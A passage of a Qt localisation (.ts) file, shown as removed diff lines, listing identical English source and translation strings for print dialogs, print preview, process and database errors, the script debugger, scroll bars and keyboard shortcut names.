- </message>
- <message>
- <source>A4 (210 x 297 mm, 8.26 x 11.7 inches)</source>
- <translation>A4 (210 x 297 mm, 8.26 x 11.7 inches)</translation>
- </message>
- <message>
- <source>B5 (176 x 250 mm, 6.93 x 9.84 inches)</source>
- <translation>B5 (176 x 250 mm, 6.93 x 9.84 inches)</translation>
- </message>
- <message>
- <source>Executive (7.5 x 10 inches, 191 x 254 mm)</source>
- <translation>Executive (7.5 x 10 inches, 191 x 254 mm)</translation>
- </message>
- <message>
- <source>Legal (8.5 x 14 inches, 216 x 356 mm)</source>
- <translation>Legal (8.5 x 14 inches, 216 x 356 mm)</translation>
- </message>
- <message>
- <source>Letter (8.5 x 11 inches, 216 x 279 mm)</source>
- <translation>Letter (8.5 x 11 inches, 216 x 279 mm)</translation>
- </message>
- <message>
- <source>Print selection</source>
- <translation>Print selection</translation>
- </message>
- <message>
- <source>Print</source>
- <translation>Print</translation>
- </message>
- <message>
- <source>Print To File ...</source>
- <translation>Print To File ...</translation>
- </message>
- <message>
- <source>File %1 is not writable.
-Please choose a different file name.</source>
- <translation>File %1 is not writable.
-Please choose a different file name.</translation>
- </message>
- <message>
- <source>%1 already exists.
-Do you want to overwrite it?</source>
- <translation>%1 already exists.
-Do you want to overwrite it?</translation>
- </message>
- <message>
- <source>File exists</source>
- <translation>File exists</translation>
- </message>
- <message>
- <source>&lt;qt&gt;Do you want to overwrite it?&lt;/qt&gt;</source>
- <translation>&lt;qt&gt;Do you want to overwrite it?&lt;/qt&gt;</translation>
- </message>
- <message>
- <source>%1 is a directory.
-Please choose a different file name.</source>
- <translation>%1 is a directory.
-Please choose a different file name.</translation>
- </message>
- <message>
- <source>The &apos;From&apos; value cannot be greater than the &apos;To&apos; value.</source>
- <translation>The &apos;From&apos; value cannot be greater than the &apos;To&apos; value.</translation>
- </message>
- <message>
- <source>A0</source>
- <translation>A0</translation>
- </message>
- <message>
- <source>A1</source>
- <translation>A1</translation>
- </message>
- <message>
- <source>A2</source>
- <translation>A2</translation>
- </message>
- <message>
- <source>A3</source>
- <translation>A3</translation>
- </message>
- <message>
- <source>A4</source>
- <translation>A4</translation>
- </message>
- <message>
- <source>A5</source>
- <translation>A5</translation>
- </message>
- <message>
- <source>A6</source>
- <translation>A6</translation>
- </message>
- <message>
- <source>A7</source>
- <translation>A7</translation>
- </message>
- <message>
- <source>A8</source>
- <translation>A8</translation>
- </message>
- <message>
- <source>A9</source>
- <translation>A9</translation>
- </message>
- <message>
- <source>B0</source>
- <translation>B0</translation>
- </message>
- <message>
- <source>B1</source>
- <translation>B1</translation>
- </message>
- <message>
- <source>B2</source>
- <translation>B2</translation>
- </message>
- <message>
- <source>B3</source>
- <translation>B3</translation>
- </message>
- <message>
- <source>B4</source>
- <translation>B4</translation>
- </message>
- <message>
- <source>B5</source>
- <translation>B5</translation>
- </message>
- <message>
- <source>B6</source>
- <translation>B6</translation>
- </message>
- <message>
- <source>B7</source>
- <translation>B7</translation>
- </message>
- <message>
- <source>B8</source>
- <translation>B8</translation>
- </message>
- <message>
- <source>B9</source>
- <translation>B9</translation>
- </message>
- <message>
- <source>B10</source>
- <translation>B10</translation>
- </message>
- <message>
- <source>C5E</source>
- <translation>C5E</translation>
- </message>
- <message>
- <source>DLE</source>
- <translation>DLE</translation>
- </message>
- <message>
- <source>Executive</source>
- <translation>Executive</translation>
- </message>
- <message>
- <source>Folio</source>
- <translation>Folio</translation>
- </message>
- <message>
- <source>Ledger</source>
- <translation>Ledger</translation>
- </message>
- <message>
- <source>Legal</source>
- <translation>Legal</translation>
- </message>
- <message>
- <source>Letter</source>
- <translation>Letter</translation>
- </message>
- <message>
- <source>Tabloid</source>
- <translation>Tabloid</translation>
- </message>
- <message>
- <source>US Common #10 Envelope</source>
- <translation>US Common #10 Envelope</translation>
- </message>
- <message>
- <source>Custom</source>
- <translation>Custom</translation>
- </message>
- <message>
- <source>&amp;Options &gt;&gt;</source>
- <translation>&amp;Options &gt;&gt;</translation>
- </message>
- <message>
- <source>&amp;Options &lt;&lt;</source>
- <translation>&amp;Options &lt;&lt;</translation>
- </message>
- <message>
- <source>Print to File (PDF)</source>
- <translation>Print to File (PDF)</translation>
- </message>
- <message>
- <source>Print to File (Postscript)</source>
- <translation>Print to File (Postscript)</translation>
- </message>
- <message>
- <source>Local file</source>
- <translation>Local file</translation>
- </message>
- <message>
- <source>Write %1 file</source>
- <translation>Write %1 file</translation>
- </message>
- <message>
- <source>&amp;Print</source>
- <translation>&amp;Print</translation>
- </message>
- </context>
- <context>
- <name>QPrintPreviewDialog</name>
- <message>
- <source>%1%</source>
- <translation>%1%</translation>
- </message>
- <message>
- <source>Print Preview</source>
- <translation>Print Preview</translation>
- </message>
- <message>
- <source>Next page</source>
- <translation>Next page</translation>
- </message>
- <message>
- <source>Previous page</source>
- <translation>Previous page</translation>
- </message>
- <message>
- <source>First page</source>
- <translation>First page</translation>
- </message>
- <message>
- <source>Last page</source>
- <translation>Last page</translation>
- </message>
- <message>
- <source>Fit width</source>
- <translation>Fit width</translation>
- </message>
- <message>
- <source>Fit page</source>
- <translation>Fit page</translation>
- </message>
- <message>
- <source>Zoom in</source>
- <translation>Zoom in</translation>
- </message>
- <message>
- <source>Zoom out</source>
- <translation>Zoom out</translation>
- </message>
- <message>
- <source>Portrait</source>
- <translation>Portrait</translation>
- </message>
- <message>
- <source>Landscape</source>
- <translation>Landscape</translation>
- </message>
- <message>
- <source>Show single page</source>
- <translation>Show single page</translation>
- </message>
- <message>
- <source>Show facing pages</source>
- <translation>Show facing pages</translation>
- </message>
- <message>
- <source>Show overview of all pages</source>
- <translation>Show overview of all pages</translation>
- </message>
- <message>
- <source>Print</source>
- <translation>Print</translation>
- </message>
- <message>
- <source>Page setup</source>
- <translation>Page setup</translation>
- </message>
- <message>
- <source>Close</source>
- <translation>Close</translation>
- </message>
- <message>
- <source>Export to PDF</source>
- <translation>Export to PDF</translation>
- </message>
- <message>
- <source>Export to PostScript</source>
- <translation>Export to PostScript</translation>
- </message>
- <message>
- <source>Page Setup</source>
- <translation>Page Setup</translation>
- </message>
- </context>
- <context>
- <name>QPrintPropertiesWidget</name>
- <message>
- <source>Form</source>
- <translation>Form</translation>
- </message>
- <message>
- <source>Page</source>
- <translation>Page</translation>
- </message>
- <message>
- <source>Advanced</source>
- <translation>Advanced</translation>
- </message>
- </context>
- <context>
- <name>QPrintSettingsOutput</name>
- <message>
- <source>Form</source>
- <translation>Form</translation>
- </message>
- <message>
- <source>Copies</source>
- <translation>Copies</translation>
- </message>
- <message>
- <source>Print range</source>
- <translation>Print range</translation>
- </message>
- <message>
- <source>Print all</source>
- <translation>Print all</translation>
- </message>
- <message>
- <source>Pages from</source>
- <translation>Pages from</translation>
- </message>
- <message>
- <source>to</source>
- <translation>to</translation>
- </message>
- <message>
- <source>Selection</source>
- <translation>Selection</translation>
- </message>
- <message>
- <source>Output Settings</source>
- <translation>Output Settings</translation>
- </message>
- <message>
- <source>Copies:</source>
- <translation>Copies:</translation>
- </message>
- <message>
- <source>Collate</source>
- <translation>Collate</translation>
- </message>
- <message>
- <source>Reverse</source>
- <translation>Reverse</translation>
- </message>
- <message>
- <source>Options</source>
- <translation>Options</translation>
- </message>
- <message>
- <source>Color Mode</source>
- <translation>Color Mode</translation>
- </message>
- <message>
- <source>Color</source>
- <translation>Color</translation>
- </message>
- <message>
- <source>Grayscale</source>
- <translation>Grayscale</translation>
- </message>
- <message>
- <source>Duplex Printing</source>
- <translation>Duplex Printing</translation>
- </message>
- <message>
- <source>None</source>
- <translation>None</translation>
- </message>
- <message>
- <source>Long side</source>
- <translation>Long side</translation>
- </message>
- <message>
- <source>Short side</source>
- <translation>Short side</translation>
- </message>
- </context>
- <context>
- <name>QPrintWidget</name>
- <message>
- <source>Form</source>
- <translation>Form</translation>
- </message>
- <message>
- <source>Printer</source>
- <translation>Printer</translation>
- </message>
- <message>
- <source>&amp;Name:</source>
- <translation>&amp;Name:</translation>
- </message>
- <message>
- <source>P&amp;roperties</source>
- <translation>P&amp;roperties</translation>
- </message>
- <message>
- <source>Location:</source>
- <translation>Location:</translation>
- </message>
- <message>
- <source>Preview</source>
- <translation>Preview</translation>
- </message>
- <message>
- <source>Type:</source>
- <translation>Type:</translation>
- </message>
- <message>
- <source>Output &amp;file:</source>
- <translation>Output &amp;file:</translation>
- </message>
- <message>
- <source>...</source>
- <translation>...</translation>
- </message>
- </context>
- <context>
- <name>QProcess</name>
- <message>
- <source>Could not open input redirection for reading</source>
- <translation>Could not open input redirection for reading</translation>
- </message>
- <message>
- <source>Could not open output redirection for writing</source>
- <translation>Could not open output redirection for writing</translation>
- </message>
- <message>
- <source>Resource error (fork failure): %1</source>
- <translation>Resource error (fork failure): %1</translation>
- </message>
- <message>
- <source>Process operation timed out</source>
- <translation>Process operation timed out</translation>
- </message>
- <message>
- <source>Error reading from process</source>
- <translation>Error reading from process</translation>
- </message>
- <message>
- <source>Error writing to process</source>
- <translation>Error writing to process</translation>
- </message>
- <message>
- <source>Process crashed</source>
- <translation>Process crashed</translation>
- </message>
- <message>
- <source>No program defined</source>
- <translation>No program defined</translation>
- </message>
- <message>
- <source>Process failed to start: %1</source>
- <translation>Process failed to start: %1</translation>
- </message>
- </context>
- <context>
- <name>QProgressDialog</name>
- <message>
- <source>Cancel</source>
- <translation>Cancel</translation>
- </message>
- </context>
- <context>
- <name>QPushButton</name>
- <message>
- <source>Open</source>
- <translation>Open</translation>
- </message>
- </context>
- <context>
- <name>QRadioButton</name>
- <message>
- <source>Check</source>
- <translation>Check</translation>
- </message>
- </context>
- <context>
- <name>QRegExp</name>
- <message>
- <source>no error occurred</source>
- <translation>no error occurred</translation>
- </message>
- <message>
- <source>disabled feature used</source>
- <translation>disabled feature used</translation>
- </message>
- <message>
- <source>bad char class syntax</source>
- <translation>bad char class syntax</translation>
- </message>
- <message>
- <source>bad lookahead syntax</source>
- <translation>bad lookahead syntax</translation>
- </message>
- <message>
- <source>bad repetition syntax</source>
- <translation>bad repetition syntax</translation>
- </message>
- <message>
- <source>invalid octal value</source>
- <translation>invalid octal value</translation>
- </message>
- <message>
- <source>missing left delim</source>
- <translation>missing left delim</translation>
- </message>
- <message>
- <source>unexpected end</source>
- <translation>unexpected end</translation>
- </message>
- <message>
- <source>met internal limit</source>
- <translation>met internal limit</translation>
- </message>
- <message>
- <source>invalid interval</source>
- <translation>invalid interval</translation>
- </message>
- <message>
- <source>invalid category</source>
- <translation>invalid category</translation>
- </message>
- </context>
- <context>
- <name>QSQLite2Driver</name>
- <message>
- <source>Error opening database</source>
- <translation>Error opening database</translation>
- </message>
- <message>
- <source>Unable to begin transaction</source>
- <translation>Unable to begin transaction</translation>
- </message>
- <message>
- <source>Unable to commit transaction</source>
- <translation>Unable to commit transaction</translation>
- </message>
- <message>
- <source>Unable to rollback transaction</source>
- <translation>Unable to rollback transaction</translation>
- </message>
- </context>
- <context>
- <name>QSQLite2Result</name>
- <message>
- <source>Unable to fetch results</source>
- <translation>Unable to fetch results</translation>
- </message>
- <message>
- <source>Unable to execute statement</source>
- <translation>Unable to execute statement</translation>
- </message>
- </context>
- <context>
- <name>QSQLiteDriver</name>
- <message>
- <source>Error opening database</source>
- <translation>Error opening database</translation>
- </message>
- <message>
- <source>Error closing database</source>
- <translation>Error closing database</translation>
- </message>
- <message>
- <source>Unable to begin transaction</source>
- <translation>Unable to begin transaction</translation>
- </message>
- <message>
- <source>Unable to commit transaction</source>
- <translation>Unable to commit transaction</translation>
- </message>
- <message>
- <source>Unable to rollback transaction</source>
- <translation>Unable to rollback transaction</translation>
- </message>
- </context>
- <context>
- <name>QSQLiteResult</name>
- <message>
- <source>Unable to fetch row</source>
- <translation>Unable to fetch row</translation>
- </message>
- <message>
- <source>Unable to execute statement</source>
- <translation>Unable to execute statement</translation>
- </message>
- <message>
- <source>Unable to reset statement</source>
- <translation>Unable to reset statement</translation>
- </message>
- <message>
- <source>Unable to bind parameters</source>
- <translation>Unable to bind parameters</translation>
- </message>
- <message>
- <source>Parameter count mismatch</source>
- <translation>Parameter count mismatch</translation>
- </message>
- <message>
- <source>No query</source>
- <translation>No query</translation>
- </message>
- </context>
- <context>
- <name>QScriptBreakpointsModel</name>
- <message>
- <source>ID</source>
- <translation>ID</translation>
- </message>
- <message>
- <source>Location</source>
- <translation>Location</translation>
- </message>
- <message>
- <source>Condition</source>
- <translation>Condition</translation>
- </message>
- <message>
- <source>Ignore-count</source>
- <translation>Ignore-count</translation>
- </message>
- <message>
- <source>Single-shot</source>
- <translation>Single-shot</translation>
- </message>
- <message>
- <source>Hit-count</source>
- <translation>Hit-count</translation>
- </message>
- </context>
- <context>
- <name>QScriptBreakpointsWidget</name>
- <message>
- <source>New</source>
- <translation>New</translation>
- </message>
- <message>
- <source>Delete</source>
- <translation>Delete</translation>
- </message>
- </context>
- <context>
- <name>QScriptDebugger</name>
- <message>
- <source>Go to Line</source>
- <translation>Go to Line</translation>
- </message>
- <message>
- <source>Line:</source>
- <translation>Line:</translation>
- </message>
- <message>
- <source>Interrupt</source>
- <translation>Interrupt</translation>
- </message>
- <message>
- <source>Shift+F5</source>
- <translation>Shift+F5</translation>
- </message>
- <message>
- <source>Continue</source>
- <translation>Continue</translation>
- </message>
- <message>
- <source>F5</source>
- <translation>F5</translation>
- </message>
- <message>
- <source>Step Into</source>
- <translation>Step Into</translation>
- </message>
- <message>
- <source>F11</source>
- <translation>F11</translation>
- </message>
- <message>
- <source>Step Over</source>
- <translation>Step Over</translation>
- </message>
- <message>
- <source>F10</source>
- <translation>F10</translation>
- </message>
- <message>
- <source>Step Out</source>
- <translation>Step Out</translation>
- </message>
- <message>
- <source>Shift+F11</source>
- <translation>Shift+F11</translation>
- </message>
- <message>
- <source>Run to Cursor</source>
- <translation>Run to Cursor</translation>
- </message>
- <message>
- <source>Ctrl+F10</source>
- <translation>Ctrl+F10</translation>
- </message>
- <message>
- <source>Run to New Script</source>
- <translation>Run to New Script</translation>
- </message>
- <message>
- <source>Toggle Breakpoint</source>
- <translation>Toggle Breakpoint</translation>
- </message>
- <message>
- <source>F9</source>
- <translation>F9</translation>
- </message>
- <message>
- <source>Clear Debug Output</source>
- <translation>Clear Debug Output</translation>
- </message>
- <message>
- <source>Clear Error Log</source>
- <translation>Clear Error Log</translation>
- </message>
- <message>
- <source>Clear Console</source>
- <translation>Clear Console</translation>
- </message>
- <message>
- <source>&amp;Find in Script...</source>
- <translation>&amp;Find in Script...</translation>
- </message>
- <message>
- <source>Ctrl+F</source>
- <translation>Ctrl+F</translation>
- </message>
- <message>
- <source>Find &amp;Next</source>
- <translation>Find &amp;Next</translation>
- </message>
- <message>
- <source>F3</source>
- <translation>F3</translation>
- </message>
- <message>
- <source>Find &amp;Previous</source>
- <translation>Find &amp;Previous</translation>
- </message>
- <message>
- <source>Shift+F3</source>
- <translation>Shift+F3</translation>
- </message>
- <message>
- <source>Ctrl+G</source>
- <translation>Ctrl+G</translation>
- </message>
- <message>
- <source>Debug</source>
- <translation>Debug</translation>
- </message>
- </context>
- <context>
- <name>QScriptDebuggerCodeFinderWidget</name>
- <message>
- <source>Close</source>
- <translation>Close</translation>
- </message>
- <message>
- <source>Previous</source>
- <translation>Previous</translation>
- </message>
- <message>
- <source>Next</source>
- <translation>Next</translation>
- </message>
- <message>
- <source>Case Sensitive</source>
- <translation>Case Sensitive</translation>
- </message>
- <message>
- <source>Whole words</source>
- <translation>Whole words</translation>
- </message>
- <message>
- <source>&lt;img src=&quot;:/qt/scripttools/debugging/images/wrap.png&quot;&gt;&amp;nbsp;Search wrapped</source>
- <translation>&lt;img src=&quot;:/qt/scripttools/debugging/images/wrap.png&quot;&gt;&amp;nbsp;Search wrapped</translation>
- </message>
- </context>
- <context>
- <name>QScriptDebuggerLocalsModel</name>
- <message>
- <source>Name</source>
- <translation>Name</translation>
- </message>
- <message>
- <source>Value</source>
- <translation>Value</translation>
- </message>
- </context>
- <context>
- <name>QScriptDebuggerStackModel</name>
- <message>
- <source>Level</source>
- <translation>Level</translation>
- </message>
- <message>
- <source>Name</source>
- <translation>Name</translation>
- </message>
- <message>
- <source>Location</source>
- <translation>Location</translation>
- </message>
- </context>
- <context>
- <name>QScriptEdit</name>
- <message>
- <source>Toggle Breakpoint</source>
- <translation>Toggle Breakpoint</translation>
- </message>
- <message>
- <source>Disable Breakpoint</source>
- <translation>Disable Breakpoint</translation>
- </message>
- <message>
- <source>Enable Breakpoint</source>
- <translation>Enable Breakpoint</translation>
- </message>
- <message>
- <source>Breakpoint Condition:</source>
- <translation>Breakpoint Condition:</translation>
- </message>
- </context>
- <context>
- <name>QScriptEngineDebugger</name>
- <message>
- <source>Loaded Scripts</source>
- <translation>Loaded Scripts</translation>
- </message>
- <message>
- <source>Breakpoints</source>
- <translation>Breakpoints</translation>
- </message>
- <message>
- <source>Stack</source>
- <translation>Stack</translation>
- </message>
- <message>
- <source>Locals</source>
- <translation>Locals</translation>
- </message>
- <message>
- <source>Console</source>
- <translation>Console</translation>
- </message>
- <message>
- <source>Debug Output</source>
- <translation>Debug Output</translation>
- </message>
- <message>
- <source>Error Log</source>
- <translation>Error Log</translation>
- </message>
- <message>
- <source>Search</source>
- <translation>Search</translation>
- </message>
- <message>
- <source>View</source>
- <translation>View</translation>
- </message>
- <message>
- <source>Qt Script Debugger</source>
- <translation>Qt Script Debugger</translation>
- </message>
- </context>
- <context>
- <name>QScriptNewBreakpointWidget</name>
- <message>
- <source>Close</source>
- <translation>Close</translation>
- </message>
- </context>
- <context>
- <name>QScrollBar</name>
- <message>
- <source>Scroll here</source>
- <translation>Scroll here</translation>
- </message>
- <message>
- <source>Left edge</source>
- <translation>Left edge</translation>
- </message>
- <message>
- <source>Top</source>
- <translation>Top</translation>
- </message>
- <message>
- <source>Right edge</source>
- <translation>Right edge</translation>
- </message>
- <message>
- <source>Bottom</source>
- <translation>Bottom</translation>
- </message>
- <message>
- <source>Page left</source>
- <translation>Page left</translation>
- </message>
- <message>
- <source>Page up</source>
- <translation>Page up</translation>
- </message>
- <message>
- <source>Page right</source>
- <translation>Page right</translation>
- </message>
- <message>
- <source>Page down</source>
- <translation>Page down</translation>
- </message>
- <message>
- <source>Scroll left</source>
- <translation>Scroll left</translation>
- </message>
- <message>
- <source>Scroll up</source>
- <translation>Scroll up</translation>
- </message>
- <message>
- <source>Scroll right</source>
- <translation>Scroll right</translation>
- </message>
- <message>
- <source>Scroll down</source>
- <translation>Scroll down</translation>
- </message>
- <message>
- <source>Line up</source>
- <translation>Line up</translation>
- </message>
- <message>
- <source>Position</source>
- <translation>Position</translation>
- </message>
- <message>
- <source>Line down</source>
- <translation>Line down</translation>
- </message>
- </context>
- <context>
- <name>QSharedMemory</name>
- <message>
- <source>%1: create size is less then 0</source>
- <translation>%1: create size is less then 0</translation>
- </message>
- <message>
- <source>%1: unable to lock</source>
- <translation>%1: unable to lock</translation>
- </message>
- <message>
- <source>%1: unable to unlock</source>
- <translation>%1: unable to unlock</translation>
- </message>
- <message>
- <source>%1: permission denied</source>
- <translation>%1: permission denied</translation>
- </message>
- <message>
- <source>%1: already exists</source>
- <translation>%1: already exists</translation>
- </message>
- <message>
- <source>%1: doesn&apos;t exists</source>
- <translation>%1: doesn&apos;t exists</translation>
- </message>
- <message>
- <source>%1: out of resources</source>
- <translation>%1: out of resources</translation>
- </message>
- <message>
- <source>%1: unknown error %2</source>
- <translation>%1: unknown error %2</translation>
- </message>
- <message>
- <source>%1: key is empty</source>
- <translation>%1: key is empty</translation>
- </message>
- <message>
- <source>%1: ftok failed</source>
- <translation>%1: ftok failed</translation>
- </message>
- <message>
- <source>%1: unable to make key</source>
- <translation>%1: unable to make key</translation>
- </message>
- <message>
- <source>%1: doesn&apos;t exist</source>
- <translation>%1: doesn&apos;t exist</translation>
- </message>
- <message>
- <source>%1: UNIX key file doesn&apos;t exist</source>
- <translation>%1: UNIX key file doesn&apos;t exist</translation>
- </message>
- <message>
- <source>%1: system-imposed size restrictions</source>
- <translation>%1: system-imposed size restrictions</translation>
- </message>
- <message>
- <source>%1: not attached</source>
- <translation>%1: not attached</translation>
- </message>
- <message>
- <source>%1: invalid size</source>
- <translation>%1: invalid size</translation>
- </message>
- <message>
- <source>%1: key error</source>
- <translation>%1: key error</translation>
- </message>
- <message>
- <source>%1: size query failed</source>
- <translation>%1: size query failed</translation>
- </message>
- <message>
- <source>%1: unable to set key on lock</source>
- <translation>%1: unable to set key on lock</translation>
- </message>
- </context>
- <context>
- <name>QShortcut</name>
- <message>
- <source>Space</source>
- <translation>Space</translation>
- </message>
- <message>
- <source>Esc</source>
- <translation>Esc</translation>
- </message>
- <message>
- <source>Tab</source>
- <translation>Tab</translation>
- </message>
- <message>
- <source>Backtab</source>
- <translation>Backtab</translation>
- </message>
- <message>
- <source>Backspace</source>
- <translation>Backspace</translation>
- </message>
- <message>
- <source>Return</source>
- <translation>Return</translation>
- </message>
- <message>
- <source>Enter</source>
- <translation>Enter</translation>
- </message>
- <message>
- <source>Ins</source>
- <translation>Ins</translation>
- </message>
- <message>
- <source>Del</source>
- <translation>Del</translation>
- </message>
- <message>
- <source>Pause</source>
- <translation>Pause</translation>
- </message>
- <message>
- <source>Print</source>
- <translation>Print</translation>
- </message>
- <message>
- <source>SysReq</source>
- <translation>SysReq</translation>
- </message>
- <message>
- <source>Home</source>
- <translation>Home</translation>
- </message>
- <message>
- <source>End</source>
- <translation>End</translation>
- </message>
- <message>
- <source>Left</source>
- <translation>Left</translation>
- </message>
- <message>
- <source>Up</source>
- <translation>Up</translation>
- </message>
- <message>
- <source>Right</source>
- <translation>Right</translation>
- </message>
- <message>
- <source>Down</source>
- <translation>Down</translation>
- </message>
- <message>
- <source>PgUp</source>
- <translation>PgUp</translation>
- </message>
- <message>
- <source>PgDown</source>
- <translation>PgDown</translation>
- </message>
- <message>
- <source>CapsLock</source>
- <translation>CapsLock</translation>
- </message>
- <message>
- <source>NumLock</source>
- <translation>NumLock</translation>
- </message>
- <message>
- <source>ScrollLock</source>
- <translation>ScrollLock</translation>
- </message>
- <message>
- <source>Menu</source>
- <translation>Menu</translation>
- </message>
- <message>
- <source>Help</source>
- <translation>Help</translation>
- </message>
- <message>
- <source>Back</source>
- <translation>Back</translation>
- </message>
- <message>
- <source>Forward</source>
- <translation>Forward</translation>
- </message>
- <message>
- <source>Stop</source>
- <translation>Stop</translation>
- </message>
- <message>
- <source>Refresh</source>
- <translation>Refresh</translation>
- </message>
- <message>
- <source>Volume Down</source>
- <translation>Volume Down</translation>
- </message>
- <message>
- <source>Volume Mute</source>
- <translation>Volume Mute</translation>
- </message>
- <message>
- <source>Volume Up</source>
- <translation>Volume Up</translation>
- </message>
- <message>
- <source>Bass Boost</source>
- <translation>Bass Boost</translation>
- </message>
- <message>
- <source>Bass Up</source>
- <translation>Bass Up</translation>
- </message>
- <message>
- <source>Bass Down</source>
- <translation>Bass Down</translation>
- </message>
- <message>
- <source>Treble Up</source>
- <translation>Treble Up</translation>
- </message>
- <message>
- <source>Treble Down</source>
- <translation>Treble Down</translation>
- </message>
- <message>
- <source>Media Play</source>
- <translation>Media Play</translation>
- </message>
- <message>
- <source>Media Stop</source>
- <translation>Media Stop</translation>
- </message>
- <message>
- <source>Media Previous</source>
- <translation>Media Previous</translation>
- </message>
- <message>
- <source>Media Next</source>
- <translation>Media Next</translation>
- </message>
- <message>
- <source>Media Record</source>
- <translation>Media Record</translation>
- </message>
- <message>
- <source>Favorites</source>
- <translation>Favorites</translation>
- </message>
- <message>
- <source>Search</source>
- <translation>Search</translation>
- </message>
- <message>
- <source>Standby</source>
- <translation>Standby</translation>
- </message>
- <message>
- <source>Open URL</source>
- <translation>Open URL</translation>
- </message>
- <message>
- <source>Launch Mail</source>
- <translation>Launch Mail</translation>
- </message>
- <message>
- <source>Launch Media</source>
- <translation>Launch Media</translation>
- </message>
- <message>
- <source>Launch (0)</source>
- <translation>Launch (0)</translation>
- </message>
- <message>
- <source>Launch (1)</source>
- <translation>Launch (1)</translation>
- </message>
- <message>
- <source>Launch (2)</source>
- <translation>Launch (2)</translation>
- </message>
- <message>
- <source>Launch (3)</source>
- <translation>Launch (3)</translation>
- </message>
- <message>
- <source>Launch (4)</source>
- <translation>Launch (4)</translation>
- </message>
- <message>
- <source>Launch (5)</source>
- <translation>Launch (5)</translation>
- </message>
- <message>
- <source>Launch (6)</source>
- <translation>Launch (6)</translation>
- </message>
- <message>
- <source>Launch (7)</source>
- <translation>Launch (7)</translation>
- </message>
- <message>
- <source>Launch (8)</source>
- <translation>Launch (8)</translation>
- </message>
- <message>
- <source>Launch (9)</source>
- <translation>Launch (9)</translation>
- </message>
- <message>
- <source>Launch (A)</source>
- <translation>Launch (A)</translation>
- </message>
- <message>
- <source>Launch (B)</source>
- <translation>Launch (B)</translation>
- </message>
- <message>
- <source>Launch (C)</source>
- <translation>Launch (C)</translation>
- </message>
- <message>
- <source>Launch (D)</source>
- <translation>Launch (D)</translation>
- </message>
- <message>
- <source>Launch (E)</source>
- <translation>Launch (E)</translation>
- </message>
- <message>
- <source>Launch (F)</source>
- <translation>Launch (F)</translation>
- </message>
- <message>
- <source>Monitor Brightness Up</source>
- <translation>Monitor Brightness Up</translation>
- </message>
- <message>
- <source>Monitor Brightness Down</source>
- <translation>Monitor Brightness Down</translation>
- </message>
- <message>
- <source>Keyboard Light On/Off</source>
- <translation>Keyboard Light On/Off</translation>
- </message>
- <message>
- <source>Keyboard Brightness Up</source>
- <translation>Keyboard Brightness Up</translation>
- </message>
- <message>
- <source>Keyboard Brightness Down</source>
- <translation>Keyboard Brightness Down</translation>
- </message>
- <message>
- <source>Power Off</source>
- <translation>Power Off</translation>
- </message>
- <message>
- <source>Wake Up</source>
- <translation>Wake Up</translation>
- </message>
- <message>
- <source>Eject</source>
- <translation>Eject</translation>
- </message>
- <message>
- <source>Screensaver</source>
- <translation>Screensaver</translation>
- </message>
- <message>
- <source>WWW</source>
- <translation>WWW</translation>
- </message>
- <message>
- <source>Sleep</source>
- <translation>Sleep</translation>
- </message>
- <message>
- <source>LightBulb</source>
- <translation>LightBulb</translation>
- </message>
- <message>
- <source>Shop</source>
- <translation>Shop</translation>
- </message>
- <message>
- <source>History</source>
- <translation>History</translation>
- </message>
- <message>
- <source>Add Favorite</source>
- <translation>Add Favorite</translation>
- </message>
- <message>
- <source>Hot Links</source>
- <translation>Hot Links</translation>
- </message>
- <message>
- <source>Adjust Brightness</source>
- <translation>Adjust Brightness</translation>
- </message>
- <message>
- <source>Finance</source>
- <translation>Finance</translation>
- </message>
- <message>
- <source>Community</source>
- <translation>Community</translation>
- </message>
- <message>
- <source>Audio Rewind</source>
- <translation>Audio Rewind</translation>
- </message>
- <message>
- <source>Back Forward</source>
- <translation>Back Forward</translation>
- </message>
- <message>
- <source>Application Left</source>
- <translation>Application Left</translation>
- </message>
- <message>
- <source>Application Right</source>
- <translation>Application Right</translation>
- </message>
- <message>
- <source>Book</source>
- <translation>Book</translation>
- </message>
- <message>
- <source>CD</source>
- <translation>CD</translation>
- </message>
- <message>
- <source>Calculator</source>
- <translation>Calculator</translation>
- </message>
- <message>
- <source>Clear</source>
- <translation>Clear</translation>
- </message>
- <message>
- <source>Clear Grab</source>
- <translation>Clear Grab</translation>
- </message>
- <message>
- <source>Close</source>
- <translation>Close</translation>
- </message>
- <message>
- <source>Copy</source>
- <translation>Copy</translation>
- </message>
- <message>
- <source>Cut</source>
- <translation>Cut</translation>
- </message>
- <message>
- <source>Display</source>
- <translation>Display</translation>
- </message>
- <message>
- <source>DOS</source>
- <translation>DOS</translation>
- </message>
- <message>
- <source>Documents</source>
- <translation>Documents</translation>
- </message>
- <message>
- <source>Spreadsheet</source>
- <translation>Spreadsheet</translation>
- </message>
- <message>
- <source>Browser</source>
- <translation>Browser</translation>
- </message>
- <message>
- <source>Game</source>
- <translation>Game</translation>
- </message>
- <message>
- <source>Go</source>
- <translation>Go</translation>
- </message>
- <message>
- <source>iTouch</source>
- <translation>iTouch</translation>
- </message>
- <message>
- <source>Logoff</source>
- <translation>Logoff</translation>
- </message>
- <message>
- <source>Market</source>
- <translation>Market</translation>
- </message>
- <message>
- <source>Meeting</source>
- <translation>Meeting</translation>
- </message>
- <message>
- <source>Keyboard Menu</source>
- <translation>Keyboard Menu</translation>
- </message>
- <message>
- <source>Menu PB</source>
- <translation>Menu PB</translation>
- </message>
- <message>
- <source>My Sites</source>
- <translation>My Sites</translation>
- </message>
- <message>
- <source>News</source>
- <translation>News</translation>
- </message>
- <message>
- <source>Home Office</source>
- <translation>Home Office</translation>
- </message>
- <message>
- <source>Option</source>
- <translation>Option</translation>
- </message>
- <message>
- <source>Paste</source>
- <translation>Paste</translation>
- </message>
- <message>
- <source>Phone</source>
- <translation>Phone</translation>
- </message>
- <message>
- <source>Reply</source>
- <translation>Reply</translation>
- </message>
- <message>
- <source>Reload</source>
- <translation>Reload</translation>
- </message>
- <message>
- <source>Rotate Windows</source>
- <translation>Rotate Windows</translation>
- </message>
- <message>
- <source>Rotation PB</source>
- <translation>Rotation PB</translation>
- </message>
- <message>
- <source>Rotation KB</source>
- <translation>Rotation KB</translation>
- </message>
- <message>
- <source>Save</source>
- <translation>Save</translation>
- </message>
- <message>
- <source>Send</source>
- <translation>Send</translation>
- </message>
- <message>
- <source>Spellchecker</source>
- <translation>Spellchecker</translation>
- </message>
- <message>
- <source>Split Screen</source>
- <translation>Split Screen</translation>
- </message>
- <message>
- <source>Support</source>
- <translation>Support</translation>
- </message>
- <message>
- <source>Task Panel</source>
- <translation>Task Panel</translation>
- </message>
- <message>
- <source>Terminal</source>
- <translation>Terminal</translation>
- </message>
- <message>
- <source>Tools</source>
- <translation>Tools</translation>
- </message>
